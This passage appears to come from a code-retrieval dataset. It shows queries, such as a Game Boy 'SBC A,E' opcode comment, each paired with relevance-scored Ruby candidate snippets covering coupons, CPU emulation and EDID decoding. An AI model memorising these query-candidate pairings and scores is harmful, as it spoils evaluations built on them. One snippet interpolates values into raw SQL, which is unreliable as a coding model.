"" }, { "docid": "7e94f07c4a016f6cfd38415d65bdd757", "score": "0.5275836", "text": "def index\n\t\t@coupons= Coupon.all\n\tend", "title": "" }, { "docid": "55099125fcf00a8949de66ac4217733f", "score": "0.5272792", "text": "def index\n @coupons = Coupon.all\n end", "title": "" }, { "docid": "55099125fcf00a8949de66ac4217733f", "score": "0.5272792", "text": "def index\n @coupons = Coupon.all\n end", "title": "" }, { "docid": "55099125fcf00a8949de66ac4217733f", "score": "0.5272792", "text": "def index\n @coupons = Coupon.all\n end", "title": "" }, { "docid": "55099125fcf00a8949de66ac4217733f", "score": "0.5272792", "text": "def index\n @coupons = Coupon.all\n end", "title": "" }, { "docid": "c2cb4bb9ff342d1dd8652530b3f13120", "score": "0.5254462", "text": "def coupon_params\n params.require(:coupon).permit(:amount, :user_id, :state)\n end", "title": "" }, { "docid": "dab4c25f8f857d52ff35f8980c1ab3f1", "score": "0.52457887", "text": "def coupons\n @items = @product.product_coupons\n end", "title": "" }, { "docid": "1dedc04170d6d21e933b0b7e6a029bd5", "score": "0.52349705", "text": "def apply_coupons(cart, coupons)\n #doesn't break if there is no coupon\n return cart if coupons == []\n #set new_cart = cart so we don't have to push all the values, just change them\n new_cart = cart\n\n coupons.each do |coupon|\n name = coupon[:item] #avocado, cheese,...\n num_of_c = coupon[:num]\n \n #if the cart has the same item in coupon and has larger amount than in coupon then remove number of the new_cart's count then \n \n if cart.include?(name) && cart[name][:count] >= num_of_c\n \n #remove number of the new_cart's count\n # new_cart[name][:count] -= num_of_c\n \n #increase the count when there is more items than the coupon allows\n if new_cart[\"#{name} W/COUPON\"]\n new_cart[\"#{name} W/COUPON\"][:count] += num_of_c\n #set the name with coupon with new value\n else\n #binding.pry\n new_cart[\"#{name} W/COUPON\"] = {\n \n :price => coupon[:cost]/coupon[:num],\n :clearance => new_cart[name][:clearance],\n :count => coupon[:num]\n \n }\n \n end\n new_cart[name][:count] -= num_of_c\n end\n end\n new_cart\nend", "title": "" }, { "docid": "ab46ecc7b7cf40902a122a759e44069c", "score": "0.5223228", "text": "def create\n params[:coupon][:code] = (params[:coupon][:code]).downcase\n params[:coupon][:valid_category] = (params[:valid_category]||{}).to_json\n params[:coupon][:valid_product] = (params[:valid_product]||{}).to_json\n params[:coupon][:valid_company] = (params[:valid_company]||{}).to_json\n @coupon = Coupon.new(coupon_params)\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to @coupon, notice: 'Coupon was successfully created.' }\n format.json { render :show, status: :created, location: @coupon }\n else\n format.html { render :new }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b20a7e9e5fe55af97895237a95c3c19", "score": "0.5222103", "text": "def purchase_events_new_stripe_couple\n token = params[:stripeToken]\n @number = params[:number].to_i\n coupon = params[:coupon]\n cost = params[:cost]\n\n if create_customer_and_purchase_existing_user(token, @number, cost, coupon) # this is almost like create_customer_purchase, except have flash.nows in that helper\n #if the customer had a coupon, update that coupon to be inactive, and attach customer's user id to it\n # if !coupon.blank?\n # redeem_single_use_coupon(coupon)\n # end \n redirect_to current_user\n else\n redirect_to existing_couple_purchase_select_path({:peu => {:number => @number }, :coupon => coupon})\n end \n\nend", "title": "" }, { "docid": "0ac4abfcadaa1625e42bcb2bd14890f0", "score": "0.52156216", "text": "def batch_insert_time_serials_service_development_cost(data)\n connection = ActiveRecord::Base.connection\n ActiveRecord::Base.transaction {\n sql = \"INSERT INTO ts_service_development_cost_usage_patterns (user_id, service_development_cost_id, \\\"current_time\\\", year, month, date, quantity)\n VALUES #{data.join(\", \")}\"\n connection.execute sql\n }\n end", "title": "" } ]
78fb0c1cc1c5c7950c17215b81c001ca
SBC A,E flags: Z 1 H C
[ { "docid": "055baacd2fb20e51f3fa2cbf4177dca2", "score": "0.5467919", "text": "def sbc_a_e\n end", "title": "" } ]
[ { "docid": "f4aab2e0b10cdc130a145ff5c34fd53c", "score": "0.5871235", "text": "def sbc_a_hl\n end", "title": "" }, { "docid": "83628f9d56a9ba9d157a4ee1e8c429d9", "score": "0.5840394", "text": "def flags; end", "title": "" }, { "docid": "f31fe3e440e166e183e6b64ab38f15dc", "score": "0.5819639", "text": "def flags_pack\n # NVssDIZC\n ((@_p_nz | @_p_nz >> 1) & 0x80) | # N: Negative\n (@_p_nz & 0xff != 0 ? 0 : 2) | # Z: Zero\n @_p_c | # C: Carry\n (@_p_v != 0 ? 0x40 : 0) | # V: Overflow\n @_p_i | # I: Inerrupt\n @_p_d | # D: Decimal\n 0x20\n end", "title": "" }, { "docid": "ebd0eee3ba10e81f8631bf3fafc14bd1", "score": "0.5808245", "text": "def scf\n @f &= Z_FLAG\n @f |= C_FLAG\n @clock += 1\n end", "title": "" }, { "docid": "4a57a476501e200dd6e8f6e232cea608", "score": "0.5777833", "text": "def execute_CMC\n\t\t@flags.set_bit_at(CARRY_FLAG, @flags[CARRY_FLAG] ^ 1)\n\tend", "title": "" }, { "docid": "e2123e8c0a5106679969b4b3dd7e7e49", "score": "0.573795", "text": "def encode_basic(bcp, flag)\n bcp -= (bcp - 97 < 26 ? 1 : 0) << 5\n return bcp + ((!flag && (bcp - 65 < 26 ? 1 : 0)) << 5)\n end", "title": "" }, { "docid": "841e5efd10209bc68b7e9321c657584a", "score": "0.5737915", "text": "def ccf\n @f & C_FLAG == C_FLAG ? reset_c_flag : set_c_flag\n reset_flags N_FLAG, H_FLAG\n end", "title": "" }, { "docid": "af6ffbf4c47dd83b92a65368189dee1c", "score": "0.57344794", "text": "def sbc_a_c\n end", "title": "" }, { "docid": "05b11b6a1ba5859620f737909046a5ea", "score": "0.5707247", "text": "def execute_SAHF(flags_register)\n\t\t# Mask the extra bits in AH for data consistency\n\t\t@flags.low = (@ax.high & 0b11010101)\n\tend", "title": "" }, { "docid": "5cbc32195824294172866265b7c87ba9", "score": "0.565516", "text": "def state\n case [@c2, @c1, @c0]\n when [0,0,0] then \"Z -> Z\"\n when [0,0,1] then \"X + Y\"\n when [0,1,0] then \"rotate x\"\n when [0,1,1] then \"x & y\"\n when [1,0,0] then \"x | y\"\n when [1,0,1] then \"x ^ y\"\n when [1,1,0] then \"~ x\"\n when [1,1,1] then \"x == y\"\n else raise RuntimeError.new \"wrong alu operation: #{ [@c2, @c1, @c0] }\"\n end\n end", "title": "" }, { "docid": "1a6ea57b665c4d2eac713ae01a3c6ab8", "score": "0.5545707", "text": "def flags\n FLAGS.find_all{ |k,v| (self.Characteristics & k) != 0 }.map(&:last)\n end", "title": "" }, { "docid": "bf12558134d51a34e62da7291fe95772", "score": "0.5469687", "text": "def getc() end", "title": "" }, { "docid": "bf12558134d51a34e62da7291fe95772", "score": "0.5469687", "text": "def getc() end", "title": "" }, { "docid": "bf12558134d51a34e62da7291fe95772", "score": "0.5469687", "text": "def getc() end", "title": "" }, { "docid": "82302d1acef4c310026065e1ce23ac35", "score": "0.5460266", "text": "def SBC(address:)\n operand = @ram[address] ^ 0xff\n\n signed_a = @accumulator.chr.unpack('c').first\n signed_m = operand.chr.unpack('c').first\n signed_sum = signed_a + signed_m\n (signed_sum > 127 || signed_sum < -128) ? set_flag(SR_OVERFLOW) : clear_flag(SR_OVERFLOW)\n\n sum = @accumulator + operand + (set?(SR_CARRY) ? 1 : 0)\n sum > 0xff ? set_flag(SR_CARRY) : clear_flag(SR_CARRY)\n @accumulator = sum & 0xff\n\n ZN_flags(@accumulator)\n end", "title": "" }, { "docid": "f8b47c1cd44352501857c1a41056da7e", "score": "0.5417759", "text": "def _anc\n @_p_nz = @_a &= @data\n @_p_c = @_p_nz >> 7\n end", "title": "" }, { "docid": "7b95da77d8f2974adda0e68533dad83c", "score": "0.54105306", "text": "def adc_a_c\n end", "title": "" }, { "docid": "f5ff1dabb022d97c4fd44bd76348f3de", "score": "0.5379541", "text": "def sbc_a_h\n end", "title": "" }, { "docid": "6693ab16ba897934c05ae78b73fb683a", "score": "0.5376023", "text": "def jp_nc_a16\n if (@f & C_FLAG) == 0x00\n @pc = $mmu.read_word @pc\n @branched = true\n else\n @pc += 2\n end\n end", "title": "" }, { "docid": "3a82af5f3ba1bd923638b5cacbc9390c", "score": "0.536158", "text": "def ccf\n val = @f\n @f &= Z_FLAG\n @f |= C_FLAG unless (val & C_FLAG) == C_FLAG\n @clock += 1\n end", "title": "" }, { "docid": "aca11c12399fd2ceb1d37aaf98b22285", "score": "0.5336611", "text": "def EVIOCSABS(abs); _IOW('E', 0xc0 + (abs), input_absinfo);end", "title": "" }, { "docid": "0c65cac4c5b19636012910e3f27c7ab6", "score": "0.53036314", "text": "def cpl\n @a = ~@a & 0xFF\n @f |= (N_FLAG + H_FLAG)\n @clock += 1\n end", "title": "" }, { "docid": "1af2959b5e9b3bbff08e29668fc4f322", "score": "0.5290059", "text": "def opcode\n if @extended\n return 0x00 | (@op << 5) | (a_param.mode_bits << 10)\n else\n return @op | (a_param.mode_bits << 10) | (b_param.mode_bits << 5)\n end\n end", "title": "" }, { "docid": "8aef36ba3481d3b715d9cb6a4d57ad74", "score": "0.528424", "text": "def cac2\n 0\n end", "title": "" }, { "docid": "47d1524661ec95e60b55c7b45f2401aa", "score": "0.5284125", "text": "def adc_a_e\n end", "title": "" }, { "docid": "9bbfaee6c6893240815c80721e0cecfe", "score": "0.52525496", "text": "def ats\n abtAts.unpack 'C*'\n end", "title": "" }, { "docid": "3b0aad6452eafd46ea87d7a5f38b972d", "score": "0.52490336", "text": "def sb(t, s, c)\n\n end", "title": "" }, { "docid": "3f7eead0eb35bb33644bc00c522493bd", "score": "0.5248515", "text": "def add_a_c\n end", "title": "" }, { "docid": "724272219696e119d20f39a4b2aa6ffb", "score": "0.5229194", "text": "def flags_and_opcode\n # 0 \n # 0 1 2 3 4 5 6 7\n # +-+-+-+-+-------\n # |F|R|R|R| opcode\n # |I|S|S|S| (4) \n # |N|V|V|V| \n # | |1|2|3| \n byte = get(@need).bytes.first\n @opcode = byte & 0xF # last 4 bites\n @fin = (byte & 0x80 == 0x80)# first bit\n\n #p :byte => byte, :bits => byte.to_s(2), :opcode => @opcode, :fin => @fin\n # mask_and_payload_length has a minimum length\n # of 1 byte, so start there.\n transition(:mask_and_payload_init, 1)\n\n # This state yields no output.\n return nil\n end", "title": "" }, { "docid": "3cba3c59e1fd99d9ea3c20b58d0a48e4", "score": "0.5222808", "text": "def initialize\n @logger = Cabin::Channel.get\n @opcode = 0\n @masking_key = \"\"\n @flag_final_payload = 0\n @flag_mask = 0\n\n transition(:flags_and_opcode, 1)\n @buffer = \"\"\n @buffer.force_encoding(\"BINARY\")\n end", "title": "" }, { "docid": "f372e1d5d358663784f34209ed2c9274", "score": "0.5206633", "text": "def cp_b\n end", "title": "" }, { "docid": "2fdc8a4356c807785317f53c92f5b4a0", "score": "0.51736325", "text": "def flags\n [long, short].compact\n end", "title": "" }, { "docid": "3d9c3cc6382f34aed63078893f1ef444", "score": "0.5160941", "text": "def sbc_a_d8\n end", "title": "" }, { "docid": "dcb929481076fd6ef3e463b184b1b2b4", "score": "0.5158112", "text": "def cp_hl\n end", "title": "" }, { "docid": "3a6009acaef6e132e5b8e423bf433a07", "score": "0.5150359", "text": "def ca; end", "title": "" }, { "docid": "5d04c0b7b4f436078bc171e5595079a1", "score": "0.5143321", "text": "def ACK08=(arg)", "title": "" }, { "docid": "597241cbe7d5afff664bc2398b391d00", "score": "0.51410705", "text": "def adjust_sp_binary()\n \"@SP\\nM=M-1\\n@SP\\nA=M\\nD=M\\n@SP\\nM=M-1\\nA=M\\n\"\n end", "title": "" }, { "docid": "ae4049c1ca3948e87a7c49db2b468188", "score": "0.5124034", "text": "def sic_code; end", "title": "" }, { "docid": "f5c0e7a57c115470592a39448ba0dcf8", "score": "0.5087022", "text": "def arith(b,opt=\"M\") return \"@SP\\nAM=M-1\\nD=M\\nA=A-1\\n\"+opt+\"=M\"+b+\"D\\n\" end", "title": "" }, { "docid": "e47234f49f494133c25f526e4e908e73", "score": "0.50824773", "text": "def call_nc_a16\n if (@f & C_FLAG) == 0x00\n new_pc = $mmu.read_word @pc\n @pc += 2\n push_onto_stack @pc\n @pc = new_pc\n @branched = true\n else\n @pc += 2\n end\n end", "title": "" }, { "docid": "a9bcab4763ecfe4ba22b593c02125440", "score": "0.50819176", "text": "def sbc_a_a\n end", "title": "" }, { "docid": "db711be4f00ec9aa0e16619cf4415dfd", "score": "0.5078911", "text": "def flag_ac\n reg_flag[FLAG_AUX_CARRY]\n end", "title": "" }, { "docid": "7b753ccccb560f010ceccf526cc63853", "score": "0.5070714", "text": "def EVIOCSREP; _IOW('E', 0x03, unsigned_int_2);end", "title": "" }, { "docid": "880423ba5da70297d11e61b2b65092e8", "score": "0.5065585", "text": "def BCC(address:)\n unless set?(SR_CARRY)\n @program_counter += signed_int(@ram[address])\n end\n end", "title": "" }, { "docid": "17c36f05fa906e3f2f11b47b88e391e0", "score": "0.50573206", "text": "def icc_2_1_ci_mcgraw(alpha=0.05)\n fd,fu=icc_2_1_fs(icc_2_1,alpha)\n cl=(n*(msr-fd*mse)).quo(fd*(k*msc+(k*n-k-n)*mse)+n*msr)\n cu=(n*(fu*msr-mse)).quo(k*msc+(k*n-k-n)*mse+n*fu*msr)\n [cl,cu]\n end", "title": "" }, { "docid": "7816c09cb9b08408bed553630ed4e549", "score": "0.5053196", "text": "def edid_decode_cta_block ( bytes, offset, sp )\n dtd_offset = bytes[offset+2]\n dtd_count = bytes[offset+3] & (0b1111)\n flags=offset+3 # location of feature flags\n if 0 != (bytes[flags] & (0b10000000))\n puts sp + \"Underscans by default\"\n # Underscan support indicated in byte 3, bits 8\n if $overrides.include? NO_CTA_UNDERSCAN\n puts \"PATCH[#{flags}]: Clearing underscan flag\"\n bytes[flags] &= ~(0b10000000)\n $patchset.push ({ :byte=>flags })\n end\n end\n if 0 != (bytes[flags] & (0b01000000))\n puts sp + \"Basic audio support\"\n end\n if 0 != (bytes[flags] & (0b00100000))\n puts sp + \"Supports YCbCr 4:4:4\"\n # YCbCr 4:4:4 support indicated in byte 3, bits 5\n if $overrides.include? NO_CTA_Y444 or $overrides.include? NO_CTA_YCBCR\n puts \"PATCH[#{flags}]: Clearing YCbCr 4:4:4 support\"\n bytes[flags] &= ~(0b00100000)\n $patchset.push ({ :byte=>flags })\n end\n end\n if 0 != (bytes[flags] & (0b00010000))\n puts sp + \"Supports YCbCr 4:2:2\"\n # YCbCr 4:2:2 support indicated in byte 3, bits 4\n if $overrides.include? NO_CTA_Y422 or $overrides.include? NO_CTA_YCBCR\n puts \"PATCH[#{flags}]: Clearing YCbCr 4:2:2 support\"\n bytes[flags] &= ~(0b00010000)\n $patchset.push ({ :byte=>flags })\n end\n end\n\n # DTD BLOCK DECODER\n # DTD blocks begin at dtd_offset\n puts sp + \"Supported Native Detailed Modes: %u\" % dtd_count\n if dtd_offset >= 4\n ptr = offset + dtd_offset\n while ptr < offset + 126\n if (bytes[ptr] + bytes[ptr+1] == 0)\n break\n end\n edid_decode_dtd( bytes, ptr )\n ptr += 18\n end\n end\n\n # DATA BLOCK DECODER\n # data blocks begin at byte 4 through dtd_offset-1\n if dtd_offset > 4\n ptr = offset + 4\n while ptr < offset + dtd_offset\n type = (bytes[ptr] & (0b11100000))>>5\n length = bytes[ptr] & (0b00011111)\n print \"byte #{ptr}: \"\n case type\n when 1\n puts sp + \"Audio data block\"\n when 2\n puts sp + \"Video data block\"\n puts sp + \" Data: %s\" % bytes[ptr..ptr+length].map{|b|\"%02x\"%b}.join(' ')\n when 3 # CTA Vendor-specific data block\n vsd_oui = bytes[ptr+1..ptr+3].reverse.map{|b|\"%02x\"%b}.join\n print sp + \"Vendor-specific data block, OUI %s \" % vsd_oui\n case vsd_oui\n when \"000c03\" # hdmi\n puts \"(HDMI Licensing)\"\n edid_decode_cta_vsd_hdmi( bytes, ptr, length, \" \" )\n when \"c45dd8\" # HDMI Forum\n puts \"(HDMI Forum)\"\n edid_decode_cta_vsd_hdmi_forum( bytes, ptr, length, \" \" )\n else\n puts \"(UNKNOWN)\"\n puts sp + \" Data: %s\" % bytes[ptr..ptr+length].map{|b|\"%02x\"%b}.join(' ')\n end\n when 4\n puts sp + \"Speaker Allocation Block\"\n when 5\n puts sp + \"VESA DTC data block\"\n when 7\n tag_type = bytes[ptr+1]\n print sp + \"Extended tag: \"\n case tag_type\n when 0\n puts \"Video capability data\"\n when 1\n puts \"Vendor-specific video data\"\n when 2\n puts \"VESA video display device data\"\n when 3\n puts \"VESA video timing data\"\n when 4\n puts \"Reserved for HDMI video data\"\n when 5\n puts \"Colorimetry data\"\n when 6\n puts \"HDR static metadata\"\n when 7\n puts \"HDR dynamic metadata\"\n when 0xd\n puts \"Video format preference data\"\n when 0xe\n puts \"YCbCr 4:2:0 video data\"\n when 0xf\n puts \"YCbCr 4:2:0 capability map data\"\n when 0x10\n puts \"Reserved for CTA misc audio fields\"\n when 0x11\n puts \"Vendor-specific audio data\"\n when 0x12\n puts \"HDMI audio data\"\n when 0x13\n puts \"Room configuration data\"\n when 0x14\n puts \"Speaker location data\"\n when 0x20\n puts \"InfoFrame data\"\n when 6..12\n puts \"Reserved for video-related blocks (%02x)\" % tag_type\n when 19..31\n puts \"Reserved for video-related blocks (%02x)\" % tag_type\n else\n puts \"Reserved (%02x)\" % tag_type\n end\n\n else\n puts sp + \"Reserved Data Type %u\" % type\n puts sp + \" Bytes: %s\" % bytes[ptr..ptr+length].map{|b|\"%02x\"%b}.join(' ')\n end\n ptr += length + 1\n end\n end\n\nend", "title": "" }, { "docid": "31f47185788d27e03e45e8f4d682ebe9", "score": "0.50508827", "text": "def c0= c; @c0 = (c == 1) ? 1 : 0; end", "title": "" }, { "docid": "df3cd78ff7fce975bf4b08b5316d5743", "score": "0.5043968", "text": "def jp_nz_a16\n if (@f & Z_FLAG) == 0x00\n @pc = $mmu.read_word @pc\n @branched = true\n else\n @pc += 2\n end\n end", "title": "" }, { "docid": "768e06f7eef55045534452c2e98ccb67", "score": "0.5026809", "text": "def cp_d8\n end", "title": "" }, { "docid": "e115fa85ce04b7ea56ef7c8cb9a23388", "score": "0.50206965", "text": "def adc_a_h\n end", "title": "" }, { "docid": "fc9fdfdb0cff22c6a80028bbb8573af7", "score": "0.5018182", "text": "def coma!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n\n\n type = COMA\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 289:3: ','\n match( 0x2c )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n\n end", "title": "" }, { "docid": "50dd16dd92d2d46d66c65c96ef85f706", "score": "0.50147074", "text": "def sbc_a_b\n end", "title": "" }, { "docid": "8396ef3a6d2703c11fda0b52c8a704b6", "score": "0.5010335", "text": "def cp_e\n end", "title": "" }, { "docid": "a3872874da12c5f876b70767046bca1d", "score": "0.49941194", "text": "def adc_a_d8\n end", "title": "" }, { "docid": "f98eee8934f275d7cbaf4f251aefb18c", "score": "0.49929947", "text": "def general_purpose_flags\n 0b0000000000000001\n end", "title": "" }, { "docid": "3e18478a60be6beaedb57fb0ed92c2f5", "score": "0.4988774", "text": "def flags\n fs = FRAME_FLAGS[type]\n [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]\n .select { |v| @flags_value & v > 0 }\n .map { |val| fs && fs.key(val) || (\"unknown_%02x\" % val).to_sym }\n end", "title": "" }, { "docid": "8d5a419a03f04a9f2020faa42a9d96dc", "score": "0.49860895", "text": "def handle_cs_and_es par, run\n sor=run['sor']\n eor_m1=run['eor'] - 1\n chars=par['characters']\n sor.upto eor_m1 do |ind|\n case chars[ind]['bidiType']\n when 'ES'\n before_sep = ind>sor ? chars[ind-1]['bidiType'] : nil\n after_sep = ind<eor_m1 ? chars[ind+1]['bidiType'] : nil\n if (before_sep == 'EN' and after_sep=='EN')\n chars[ind]['bidiType']='EN'\n else\n chars[ind]['bidiType']='ON'\n end\n when 'CS'\n before_sep = ind>sor ? chars[ind-1]['bidiType'] : nil\n after_sep = ind<eor_m1 ? chars[ind+1]['bidiType'] : nil\n if (before_sep == 'EN' and after_sep=='EN')\n chars[ind]['bidiType']='EN'\n else if (before_sep == 'AN' and after_sep=='AN')\n chars[ind]['bidiType']='AN'\n else\n chars[ind]['bidiType']='ON'\n end\n end # if\n end # case\n end # upto\n end", "title": "" }, { "docid": "0c5ba6fbdf88c3ff1e2983ff8eb56502", "score": "0.49785656", "text": "def jr_c_r8\n if (@f & C_FLAG) == C_FLAG\n jump = signed_value $mmu.read_byte(@pc)\n result = @pc + 1 + jump\n @pc = result & 0xFFFF\n @branched = true\n else\n @pc += 1\n end\n end", "title": "" }, { "docid": "3303caf99642e417b18c6c6b4ebdd78a", "score": "0.4977528", "text": "def rlca\n @a = rotate_left @a\n reset_flags Z_FLAG, N_FLAG, H_FLAG\n end", "title": "" }, { "docid": "3f97d322d22fcce4cdccc5b7b2aa0ee5", "score": "0.49713984", "text": "def flags \n @flags ||= {}\n end", "title": "" }, { "docid": "b6e59af6a754082174459708b75488d3", "score": "0.49675122", "text": "def comp(_comp)\n a = '0'\n c1 = '0'\n c2 = '0'\n c3 = '0'\n c4 = '0'\n c5 = '0'\n c6 = '0'\n\n if (_comp.include?'M')\n a = '1'\n end\n\n if (_comp == '0')\n c1 = '1'\n c3 = '1'\n c5 = '1'\n elsif (_comp == '1')\n c1 = '1'\n c2 = '1'\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == '-1')\n c1 = '1'\n c2 = '1'\n c3 = '1'\n c5 = '1'\n elsif (_comp == 'D')\n c3 = '1'\n c4 = '1'\n elsif (_comp == 'A' or _comp == 'M')\n c1 = '1'\n c2 = '1'\n elsif (_comp == '!D')\n c3 = '1'\n c4 = '1'\n c6 = '1'\n elsif (_comp == '!A' or _comp == '!M')\n c1 = '1'\n c2 = '1'\n c6 = '1'\n elsif (_comp == '-D')\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == '-A' or _comp == '-M')\n c1 = '1'\n c2 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D+1')\n c2 = '1'\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'A+1' or _comp == 'M+1')\n c1 = '1'\n c2 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D-1')\n c3 = '1'\n c4 = '1'\n c5 = '1'\n elsif (_comp == 'A-1' or _comp == 'M-1')\n c1 = '1'\n c2 = '1'\n c5 = '1'\n elsif (_comp == 'D+A' or _comp == 'D+M')\n c5 = '1'\n elsif (_comp == 'D-A' or _comp == 'D-M')\n c2 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'A-D' or _comp == 'M-D')\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D&A' or _comp == 'D&M')\n #Do nothing\n elsif (_comp == 'D|A' or _comp == 'D|M')\n c2 = '1'\n c4 = '1'\n c6 = '1'\n else\n raise 'invalid syntax'\n end\n return a + c1 + c2 + c3 + c4 + c5 + c6\n end", "title": "" }, { "docid": "621ae86e400106549c50b06d5399fa87", "score": "0.49672556", "text": "def addCFlags(flags) @CFLAGS = ensureArray(flags) + @CFLAGS end", "title": "" }, { "docid": "5ce0c7e609445d0a7a3d54d8df8c3b53", "score": "0.4964591", "text": "def general_purpose_flags\n 0b0000000000000000\n end", "title": "" }, { "docid": "8ee76c6000f2e4648030cd987fe1e2f6", "score": "0.49556062", "text": "def alpha_mapping\n {# 1st line\n Q: '__{ KeyCode::Q, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n W: \"__{ KeyCode::KEY_5, #{shift_opt}, KeyCode::MINUS, #{shift_opt}, #{left} }__\", # []\n E: \"__{ KeyCode::KEY_5, KeyCode::MINUS, #{left} }__\", # ()\n R: \"__{ KeyCode::KEY_5, #{opt}, KeyCode::MINUS, #{opt}, #{left} }__\", # {}\n T: \"__{ KeyCode::BACKQUOTE, KeyCode::BACKQUOTE, #{shift}, #{left} }__\", # <>\n Y: \"__{ KeyCode::KEY_1, #{shift} }__\", # 1\n U: \"__{ KeyCode::CURSOR_LEFT, #{cmd} }__\", # left\n I: '__{ KeyCode::CURSOR_UP }__', # up\n O: \"__{ KeyCode::CURSOR_RIGHT, #{cmd} }__\", # right\n P: nil,\n\n # 2nd line\n A: '__{ KeyCode::A, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n S: '__{ KeyCode::S, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n D: '__{ KeyCode::D, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n F: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # \"\",\n G: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # '',\n H: '__{ KeyCode::RawValue::0x97 }__', # nil, # 0, # ----- # todo: <- NC #'__{ KeyCode::M }__',\n J: '__{ KeyCode::CURSOR_LEFT }__', # LEFT\n K: '__{ KeyCode::CURSOR_DOWN }__', # DOWN\n L: '__{ KeyCode::CURSOR_RIGHT }__', # RIGHT\n QUOTE: '__{ KeyCode::RawValue::0x98 }__', # todo: -> NC\n\n # 3rd line\n Z: '__{ KeyCode::Z, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n X: '__{ KeyCode::X, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n C: '__{ KeyCode::C, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n V: '__{ KeyCode::V, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n B: '__{ KeyCode::B, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n N: '__{ KeyCode::N, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n M: \"__{ KeyCode::CURSOR_LEFT, #{opt} }__\", # <- word\n COMMA: '__{ KeyCode::RawValue::0x96 }__', # down something\n DOT: \"__{ KeyCode::CURSOR_RIGHT, #{opt} }__\", # -> word\n # BACKQUOTE: 'BACKSLASH', Z: 'COMMA',\n\n KEY_2: \"__{ KeyCode::L, #{shift_opt}, KeyCode::L, #{shift_opt}, #{left} }__\", # ||\n KEY_3: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # '', # -----\n KEY_4: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # \"\", # -----\n KEY_5: \"__{ KeyCode::BACKSLASH, KeyCode::BACKSLASH, #{left} }__\", # ``,\n KEY_7: nil,\n KEY_8: '__{ KeyCode::RawValue::0x95 }__',\n KEY_9: nil\n }.with_indifferent_access\n end", "title": "" }, { "docid": "6613f751f02d642bce2c28e4cb69ea85", "score": "0.4946656", "text": "def flags\n @flags\n end", "title": "" }, { "docid": "6613f751f02d642bce2c28e4cb69ea85", "score": "0.4946656", "text": "def flags\n @flags\n end", "title": "" }, { "docid": "4d8b4f016b90d488d2969ec326b3fc6f", "score": "0.4933699", "text": "def sub_to_a(to_sub)\n sub = @a - to_sub\n @f = 0x00\n @f |= Z_FLAG if sub & 0xFF == 0x00\n @f |= N_FLAG\n @f |= H_FLAG if ((@a & 0x0F) - (to_sub & 0x0F)) & 0xFFF0 != 0x00\n @f |= C_FLAG if sub & 0xFF00 != 0x00\n @a = sub & 0xFF\n end", "title": "" }, { "docid": "10c79f9e4f6a2aee5b7a37451a9573a8", "score": "0.4933463", "text": "def to_s\n result = ''\n first = true\n if ((@value & Flags.unknown) != 0) && ((@value & Flags.unknown) == Flags.unknown)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'unknown'\n end\n if ((@value & Flags.invalid) != 0) && ((@value & Flags.invalid) == Flags.invalid)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'invalid'\n end\n if ((@value & Flags.initialized) != 0) && ((@value & Flags.initialized) == Flags.initialized)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'initialized'\n end\n if ((@value & Flags.calculated) != 0) && ((@value & Flags.calculated) == Flags.calculated)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'calculated'\n end\n if ((@value & Flags.broken) != 0) && ((@value & Flags.broken) == Flags.broken)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'broken'\n end\n if ((@value & Flags.good) != 0) && ((@value & Flags.good) == Flags.good)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'good'\n end\n if ((@value & Flags.bad) != 0) && ((@value & Flags.bad) == Flags.bad)\n if first\n # noinspection RubyUnusedLocalVariable\n first = false\n else\n result << '|'\n end\n result << 'bad'\n end\n result\n end", "title": "" }, { "docid": "df61fc25d3c59cb67a4714fee0fd23de", "score": "0.49309933", "text": "def s0c(&contents) CX(0, &contents) end", "title": "" }, { "docid": "a10a6e1f676e129776565f3662698c5e", "score": "0.4930605", "text": "def EVIOCRMFF; _IOW('E', 0x81, int);end", "title": "" }, { "docid": 